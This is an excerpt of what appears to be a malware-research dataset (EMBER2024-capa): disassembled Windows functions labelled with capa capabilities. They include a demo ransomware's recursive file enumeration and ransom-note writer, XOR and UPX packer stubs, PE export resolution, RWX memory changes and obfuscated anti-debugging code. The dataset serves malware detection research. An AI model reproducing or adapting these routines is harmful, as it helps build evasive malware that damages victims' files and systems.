joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46045c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4605cd
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4605a8
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x111], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x111]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.004041b4
lea eax, [ebp - 0x118]
mov edx, 0x4605e4
call fcn.00404294
mov eax, dword [ebp - 0x118]
call fcn.0040448c
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x46051a
lea eax, [ebp - 0x111]
call fcn.004088e4
mov ecx, eax
lea edx, [ebp - 0x111]
mov eax, esi
call fcn.004040bc
jmp 0x460521
mov eax, esi
call fcn.00403fcc
cmp bl, 0x61
jae 0x460542
lea edx, [ebp - 0x11c]
mov eax, dword [esi]
call fcn.0040c97c
mov edx, dword [ebp - 0x11c]
mov eax, esi
call fcn.00404020
jmp 0x46055c
lea edx, [ebp - 0x120]
mov eax, dword [esi]
call fcn.0040c8f0
mov edx, dword [ebp - 0x120]
mov eax, esi
call fcn.00404020
lea eax, [ebp - 0x124]
push eax
mov eax, dword [esi]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x128], 0xb
lea edx, [ebp - 0x12c]
xor ecx, ecx
mov eax, 0x4605f0
call fcn.00408fac
mov edx, dword [ebp - 0x124]
mov eax, esi
call fcn.00404020
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4605af
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
Function at 0x4017d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x37c
mov eax, dword [esp + 0x390]
lea ebx, [esp + 0x28]
mov dword [esp + 8], str._s
mov dword [esp + 4], 0x104
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.00402550
lea eax, [esp + 0x230]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
cmp eax, 0xffffffff
je 0x4018fc
mov ebp, eax
lea ebx, [esp + 0x25c]
jmp 0x40184e
lea eax, [esp + 0x230]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
je 0x4018f1
mov ecx, 2
mov esi, ebx
mov edi, 0x40b10f
repe cmpsb byte [esi], byte es:[edi]
je 0x401830
mov edi, 0x40b111
mov ecx, 3
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x401830
mov eax, dword [esp + 0x390]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], str._s_s
mov dword [esp + 4], 0x104
mov dword [esp + 0xc], eax
lea eax, [esp + 0x12c]
mov dword [esp], eax
call fcn.00402550
test byte [esp + 0x230], 0x10
jne 0x401910
lea eax, [esp + 0x12c]
mov dword [esp + 4], 0x2e
mov dword [esp], eax
call sub.msvcrt.dll_strrchr
test eax, eax
mov esi, eax
je 0x4018d5
mov edi, str..LRW
mov ecx, 5
repe cmpsb byte [esi], byte es:[edi]
je 0x401830
lea eax, [esp + 0x12c]
mov dword [esp + 4], 0xd5
mov dword [esp], eax
call fcn.00401460
jmp 0x401830
mov dword [esp], ebp
call sub.KERNEL32.dll_FindClose
sub esp, 4
add esp, 0x37c
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [esp + 0x12c]
mov dword [esp], eax
call fcn.004017d0
jmp 0x401830
Function at 0x401f70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401fbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401fb4
test esi, esi
je 0x401fb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f90
mov dword [esp], 0x40e044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4021a0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4021f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4022c8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40222e
cmp eax, 4
jne 0x402250
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40223e
cmp edx, 4
je 0x40223e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004021a0
Function at 0x409bf0
Capabilities:
Hide graphical window
Query environment variable
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
lea esi, [ebp - 0x11c]
sub esp, 0x13c
call fcn.00401e60
call sub.KERNEL32.dll_GetConsoleWindow
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_ShowWindow
sub esp, 8
mov dword [esp], str.USERPROFILE
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], str.LRW_readme.txt.LRW
mov dword [esp + 0xc], str.Desktop
mov ebx, eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], 0x40b14f
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
je 0x409c99
mov esi, eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xf7
mov dword [esp + 4], 1
mov dword [esp], str._Demo_Text__nHallo__dies_ist_eine_Demo_Ransomware._nAll_Ihre_Dateien_wurden_verschl
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call fcn.004017d0
mov dword [esp], ebx
call sub.msvcrt.dll_free
lea esp, [ebp - 0xc]
xor eax, eax
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0xb34a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0xb5b010]
push edi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call 0x4ab031a
nop
push eax
call 0x77145da0
nop
mov ebx, eax
push 0xb649e8
mov dword [ebp - 4], ebx
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
mov byte [ebx + edi], 0
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0xb34b7a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
nop
call 0x76bd97f0
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push 0xb649e8
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0xb34b06
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
push 0xb649e8
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call 0x4ab0320
nop
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xb36ef0
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0xb36f91
mov eax, dword [ebx]
push 0x40
push eax
push esi
nop
call 0x76bd8cf0
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0xb36fc0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0xb36fc0
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0xb36f91
mov ecx, dword [ebx]
push edi
push pe_nt_image_headers32
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
call 0x76bd8cf0
nop
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0xb36fc0
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0xb36fc0
movzx eax, word [esi + 0x46]
test ax, ax
je 0xb36fc0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [fcn.00d690f4]
push eax
call dword [fcn.00d69088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0xb36f97
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00b37590
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x1032af0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0xd690e0]
test esi, esi
jne 0x1032b08
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1032b01
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x1032b01
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x1032b6a
jmp 0x1032b50
mov eax, dword [ebx + edi*4]
mov ecx, dword [0xd68bf0]
add eax, esi
call fcn.01030610
test eax, eax
je 0x1032b73
inc edi
cmp edi, dword [ebp - 4]
jb 0x1032b50
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x4c991683
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x788f7116
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0xd43bae
Capabilities:
Encode data using xor

Disassembly:
mov byte [esp], al
lea esp, [esp + 4]
jmp 0xda3ffa
lea edx, [ecx + edi]
mov cl, 0x89
bsf ecx, edi
mov ecx, dword [ebp - 4]
call fcn.00da3f5f
test ecx, ecx
call fcn.00da40b8
in eax, 0x78
out dx, al
mov dword [eax - 0x46], edi
cmc
push ebp
lds ebp, [edi + ebx*2 + 0x54c644da]
pop edi
fiadd dword [esi + eax*8 + 0x54]
xor ecx, esi
jnp 0xda400b
lea esp, [esp + 2]
add ecx, dword [eax]
not edx
mov dx, di
clc
jmp 0xda3fa8

Function at 0xd4f1a9
Capabilities:
Execute anti-debugging instructions

Disassembly:
rcl dl, cl
jp 0xd4f1ad
jnp 0xd4f1ad
imul ebp, ecx, 0x5ceb1879
mov dword [edx], ecx
cwde
dec dword [edx]
int3
bswap edx
jmp 0xd4f193
mov esp, ebp
lea edx, [ecx*4]
btr edx, eax
jmp 0xd4f259
jno 0xd4f1cd
jo 0xd4f1cd
pushfd
push dword [esp + 3]
jmp 0xd4f2c7
xchg ah, dh
neg edx
bsf dx, bx
jmp 0xd4f32f
lea esp, [esp + 8]
neg cl
lea edx, [esi + 0x8d]
btc ax, bp
jmp 0xd4f62e
sub esp, 0x1a
jbe 0xd4f3ba
mov dh, 0x51
lea esp, [esp + 2]
jmp 0xd4f37c
sub cl, 0xbf
mov dl, 0x35
not dh
xchg edx, eax
lea eax, [esi*4]
jmp 0xd4f319
shr dl, cl
mov dh, 0x2e
btr edx, ecx
jmp 0xd4f365
shr dl, cl
mov dh, 0x2e
btr edx, ecx
dec dl
call 0xd4f388
test eax, 0xf78acafe
dec dl
mov dh, bh
jmp 0xd4f3a0
lea esp, [esp + 0x18]
neg cl
and al, al
jne 0xd4f356
je 0xd4f340
not eax
bsr edx, esi
sub esp, 0x19
sete ah
setno dl
jmp 0xd4f4cc
neg cl
jmp 0xd4f471
mov dh, 0x51
lea esp, [esp + 2]
jmp 0xd4f37c
xchg dx, ax
xor ah, ah
push dword [esp + 0x18]
ret 0x1c
mov al, 0x8b
push dx
lea esp, [esp + 2]
xchg dword [esp + 0x18], ebp
bsr eax, edx
mov ah, 0xfa
jmp 0xd4f3c2
pushfd
sub esp, 0x11
bswap edx
jmp 0xd4f421
bswap edx
lea esp, [esp + 1]
jmp 0xd4f425
mov dx, di
mov ax, word [esp]
mov dx, 0x42d4
sub esi, 4
bsr eax, ebx
jmp 0xd4f43b
lea esp, [esp + 1]
jns 0xd4f3eb
pushfd
sub esp, 0x11
jmp 0xd4f3f7
xchg edx, eax
not ax
mov ax, 0x5236
and ecx, 0x3c
rdtsc
jmp 0xd4f40e
lea esp, [esp + 1]
xchg dword [esp + 0x18], ebp
rdtsc
inc ax
setnp ah
lea ebp, [ebp + 0x3a]
jmp 0xd4f3d8
bsf dx, bx
jmp 0xd4f32f
jge 0xd4f26c
xchg ah, dh
neg edx
jmp 0xd4f58d
Function at 0xd4f4ad
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg cl, dh
clc
jmp 0xd4f50b
xchg edx, ecx
jmp 0xd4f4e3
lea eax, [ebp + 0x50]
push edx
lea ecx, [edi + ebp]
call 0xd4f4f0
mov edx, 0x4c78daf6
jns 0xd4f527
mov dword [reloc.WINMM.dll_PlaySoundA], edx
sbb dword [esi + 0x388e7314], eax
test eax, 0x3dceab3b
lea ebx, reloc.WINMM.dll_PlaySoundA
ja 0xd4f4b6
xchg edx, ecx
jmp 0xd4f4e3
mov dl, ch
btc edx, eax
cmp esi, eax
mov ch, byte [esp]
mov dl, byte [esp]
jmp 0xd4ff73
neg edx
jno 0xd4f511
mov dl, ch
jmp 0xd4f558
mov dl, byte [esp]
jmp 0xd4ff73
btc edx, eax
cmp esi, eax
mov ch, byte [esp]
jmp 0xd4f542
invalid
ja fcn.00d4f562
lea eax, [ecx*4]
lea eax, [esp - 0x1c]
sub esp, 8
jmp 0xd4ffb7
btc edx, ecx
jge 0xd4ffc1
mov edx, dword [esp]
mov ecx, 0xcb0dfba9
jmp 0xd4ffd0
jle 0xd4ffec
lea eax, reloc.WINMM.dll_PlaySoundA
jmp 0xd4fff2
mov edx, dword [esp]
mov ecx, 0xcb0dfba9
jmp 0xd4ffd0
jle 0xd4ff5e
lea ecx, [ebp + 0x40]
dec ebp
inc eax
not edx
btc edx, eax
jle 0xd5014e
jg 0xd5002f
push edi
leave
pop ecx
cmp bl, cl
jg 0xd4ffcf
or esp, dword [edx - reloc.WINMM.dll_PlaySoundA]
xchg dword [esi + ebp*2 - 0x3a740001], ebx
lea eax, reloc.WINMM.dll_PlaySoundA
mov eax, ebp
mov edx, dword [esp]
jmp 0xd4ffa1
bswap edx
jmp 0xd50150
bswap edx
sub ecx, eax
not edx
lea edx, [esi - 0x80]
call 0xd5000f
xchg ah, dh
lea eax, [ebx*4]
xchg byte [esp + 2], al
call fcn.00d5017c
sub byte [ebx - 0x1e], cl
sbb eax, 0x8d148df9
add byte [eax], al
add byte [eax], al

Function at 0xd4f4f0
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg cl, dh
clc
jmp 0xd4f50b
xchg edx, ecx
jmp 0xd4f4e3
lea eax, [ebp + 0x50]
push edx
lea ecx, [edi + ebp]
call 0xd4f4f0
mov edx, 0x4c78daf6
jns 0xd4f527
mov dword [reloc.WINMM.dll_PlaySoundA], edx
sbb dword [esi + 0x388e7314], eax
test eax, 0x3dceab3b
lea ebx, reloc.WINMM.dll_PlaySoundA
ja 0xd4f4b6
xchg edx, ecx
jmp 0xd4f4e3
mov dl, ch
btc edx, eax
cmp esi, eax
mov ch, byte [esp]
mov dl, byte [esp]
jmp 0xd4ff73
neg edx
jno 0xd4f511
mov dl, ch
jmp 0xd4f558
mov dl, byte [esp]
jmp 0xd4ff73
btc edx, eax
cmp esi, eax
mov ch, byte [esp]
jmp 0xd4f542
invalid
ja fcn.00d4f562
lea eax, [ecx*4]
lea eax, [esp - 0x1c]
sub esp, 8
jmp 0xd4ffb7
btc edx, ecx
jge 0xd4ffc1
mov edx, dword [esp]
mov ecx, 0xcb0dfba9
jmp 0xd4ffd0
jle 0xd4ffec
lea eax, reloc.WINMM.dll_PlaySoundA
jmp 0xd4fff2
mov edx, dword [esp]
mov ecx, 0xcb0dfba9
jmp 0xd4ffd0
jle 0xd4ff5e
lea ecx, [ebp + 0x40]
dec ebp
inc eax
not edx
btc edx, eax
jle 0xd5014e
jg 0xd5002f
push edi
leave
pop ecx
cmp bl, cl
jg 0xd4ffcf
or esp, dword [edx - reloc.WINMM.dll_PlaySoundA]
xchg dword [esi + ebp*2 - 0x3a740001], ebx
lea eax, reloc.WINMM.dll_PlaySoundA
mov eax, ebp
mov edx, dword [esp]
jmp 0xd4ffa1
bswap edx
jmp 0xd50150
bswap edx
sub ecx, eax
not edx
lea edx, [esi - 0x80]
call 0xd5000f
xchg ah, dh
lea eax, [ebx*4]
xchg byte [esp + 2], al
call fcn.00d5017c
sub byte [ebx - 0x1e], cl
sbb eax, 0x8d148df9
add byte [eax], al
add byte [eax], al
Function at 0xd4f675
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xd4f683
jmp 0xd4fd60
invalid
neg al
jns 0xd4f65b
js 0xd4f683
bnd jle 0xd4f66a
mov eax, dword [esi - reloc.WINMM.dll_PlaySoundA]
and al, 4
lea esp, [esp + 4]
not dl
not ax
sub esp, 0x16
jle 0xd4f65d
lea eax, reloc.WINMM.dll_PlaySoundA
sub esp, 0x1b
push dword [esp + 0x23]
lea esp, [esp + 0x1b]
jmp 0xd4fbe4
cli
aad 0x44
lea esp, [esp + 2]
call fcn.00d4fb87
clc
jnp 0xd4fabc
invalid
mov ax, 0x8d43
jmp 0xd4fac5
lea eax, reloc.WINMM.dll_PlaySoundA
sub esp, 0x1b
push dword [esp + 0x23]
call fcn.00d4fb73

Function at 0xd934e2
Capabilities:
Encode data using xor

Disassembly:
jle 0xd9241f
jg 0xd934fc
lcall 0x34bf, 0x8f99e08
movsd dword es:[edi], dword [esi]
xor eax, 0x5469af5c
invalid
ret
lea esp, [esp + 4]
jge 0xd923f3
sub esp, 0xe
jmp 0xd934ee
pushfd
pop word [esp + 1]
lea esp, [esp + 2]
jmp 0xd934cc
lea esp, [esp + 2]
lea esp, [esp + 0xc]
or eax, reloc.WINMM.dll_PlaySoundA
ret
mov al, byte [esp]
mov eax, ebp
bsr eax, eax
jmp 0xd93569
xor eax, eax
inc eax
jmp 0xd9241f

Function at 0xfc0343
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ch, 5
and byte [ecx - 0x2c], al
add byte [ecx + 0x6393f4c3], al
add byte [ecx - 0x143314fd], cl
jmp 0xfc0383
rdtsc
push dword [esp]
pop dword [esp]
jmp 0xfc036d
jmp 0xfc0383
push dword [esp + 2]
xchg word [esp + 1], ax
pop word [esp + 3]
cpuid
jmp 0xfc03de
lea esp, [esp + 2]
lea esp, [esp + 4]
pushal
call 0xfc0343
add eax, 0x9465028c
jnp 0xfc0331
clc
invalid
and ebx, 0x704ee58f
lea eax, [esp + ebp]
xchg word [esp + 3], cx
add esp, 4
push si
rdtsc
jmp fcn.00fc03c8

Function at 0xfc0463
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov di, word [esp + 3]
xchg ebx, ecx
mov word [esp], bp
lea esp, [esp + 2]
jmp 0xfc0498
add esp, 2
cpuid
bswap ecx
neg esi
cpuid
add esp, 0
jmp 0xfc0482
Function at 0xfc0b97
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
lea edi, reloc.WINMM.dll_PlaySoundA
push dword [esp + 5]
jmp 0xfc0bbd
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x3f7d42bd
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x5f15168f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0xff8d60
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff8d6a
pushal
call 0xff8d70
pop ebp
sub ebp, 0x10
sub ebp, 0xbf8d60
jmp 0xff8d86
mov eax, 0xbf8d60
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b4
mov edx, 0xae750f67
xor byte [eax], dl
inc eax
dec ecx
jne 0xff8d9d
jmp 0xff8db0
in al, dx
stosb byte es:[edi], al
in al, dx
out dx, al
pop ebx
out 0xa6, al
lahf
stosb byte es:[di], al
fbld tbyte [ecx + 0x67]
fisttp qword [bx + 0x67]
nop
test dword [edi + ebp*4 - 0x14], esp
out 0x6b, al
mov byte fs:[0x3737], al
nop dword [ebp + eax*2 + 0x67]
jo 0x67678801
dec ebx
inc ebx
setg byte [eax - 0x5d]
push edi
invalid